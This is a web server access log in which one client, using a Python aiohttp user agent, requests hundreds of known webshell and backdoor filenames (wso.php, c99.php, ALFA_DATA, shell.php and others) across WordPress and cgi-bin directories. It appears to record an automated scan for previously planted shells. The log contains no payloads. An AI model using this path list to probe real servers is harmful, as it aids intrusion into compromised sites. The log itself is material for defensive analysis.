139.190.141.151 - - [27/Apr/2025:08:44:05 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:07 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:08 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:09 -0400] "GET /wso-x569.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:11 -0400] "GET /wp-includes/js/500.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:12 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:13 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:15 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:16 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:18 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:19 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:20 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:22 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:23 -0400] "GET /images/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:24 -0400] "GET /wp-admin/css/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:26 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:27 -0400] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:29 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:30 -0400] "GET /wp-content/languages/themes/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:31 -0400] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:32 -0400] "GET /wp-content/themes/atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:34 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:35 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:36 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:39 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:41 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:42 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:43 -0400] "GET /wp-includes/sitemaps/providers/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:44 -0400] "GET /wp-admin/css/colors/coffee/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:45 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:47 -0400] "GET /wp-includes/IXR/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:48 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:49 -0400] "GET /images/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:51 -0400] "GET /wp-includes/php-compat/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:52 -0400] "GET /wp-admin/maint/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:53 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:54 -0400] "GET /wp-admin/includes/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:56 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:57 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:44:58 -0400] "GET /wp-admin/network/mariju.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:00 -0400] "GET /shellname.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:01 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:02 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:03 -0400] "GET /wp-admin/js/widgets/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:05 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:06 -0400] "GET /wp-admin/user/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:07 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:08 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:09 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:10 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:12 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:13 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:14 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:15 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:16 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:17 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:19 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:20 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:22 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:23 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:24 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:25 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:27 -0400] "GET /images/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:28 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:29 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:30 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:31 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:33 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:34 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:35 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:36 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:38 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:40 -0400] "GET /cgi-bin/class_api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:41 -0400] "GET /wp-admin/images/class.api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:42 -0400] "GET /wp-admin/js/widgets/class.api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:43 -0400] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:44 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:46 -0400] "GET /wp-admin/images/my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:47 -0400] "GET /wp-includes/Requests/Cookie/my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:48 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:50 -0400] "GET /cgi-bin/my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:51 -0400] "GET /.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:52 -0400] "GET /wp-content/plugins/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:53 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:55 -0400] "GET /.tmb/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:56 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:57 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:58 -0400] "GET /wp-admin/user/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:45:59 -0400] "GET /wp-content/upgrade/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:01 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:02 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:03 -0400] "GET /wp-includes/ID3/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:05 -0400] "GET /wp-includes/certificates/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:06 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:07 -0400] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:08 -0400] "GET /cgi-bin/filechucker.cgi HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:09 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:11 -0400] "GET /classfuns.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:12 -0400] "GET /onclickfuns.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:13 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:14 -0400] "GET /userfuns.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:15 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:17 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:18 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:20 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:21 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:22 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:23 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:24 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:26 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:27 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:28 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:29 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 17.241.219.240 - - [27/Apr/2025:08:46:31 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 139.190.141.151 - - [27/Apr/2025:08:46:31 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:32 -0400] "GET /wp-content/patior/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:33 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:34 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:36 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:37 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:40 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:41 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:42 -0400] "GET /wp-includes/rest-api/fields/cache/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:43 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:44 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:45 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:46 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:48 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:49 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:51 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:52 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:53 -0400] "GET /Shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:55 -0400] "GET /SHELL.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:56 -0400] "GET /txt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:57 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:58 -0400] "GET /shell4.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:46:59 -0400] "GET /ru.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:00 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:01 -0400] "GET /vuln. HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:03 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:04 -0400] "GET /skipper.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:05 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:06 -0400] "GET /tttt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:07 -0400] "GET /tshop.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:08 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:10 -0400] "GET /saudi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:11 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:12 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:13 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:14 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:15 -0400] "GET /Navir.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:16 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:17 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:18 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:20 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:21 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:22 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:23 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:24 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:25 -0400] "GET /wp-admin/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 17.241.75.226 - - [27/Apr/2025:08:47:25 -0400] "GET /contact-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 139.190.141.151 - - [27/Apr/2025:08:47:26 -0400] "GET /wp-admin/css/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:27 -0400] "GET /wp-admin/images/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:28 -0400] "GET /wp-admin/includes/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:29 -0400] "GET /wp-admin/maint/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:30 -0400] "GET /wp-admin/network/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:32 -0400] "GET /wp-admin/user/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:33 -0400] "GET /wp-admin/404TVS/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:34 -0400] "GET /.well-known/pki-validation/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:35 -0400] "GET /.well-known/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:36 -0400] "GET /.well-known/acme-challenge/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:38 -0400] "GET /images/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:40 -0400] "GET /cache1/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:41 -0400] "GET /cc888f23/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:42 -0400] "GET /wp-content/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:43 -0400] "GET /wp-content/themes/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:44 -0400] "GET /wp-content/plugins/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:47:45 -0400] "GET /wp-content/uploads/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 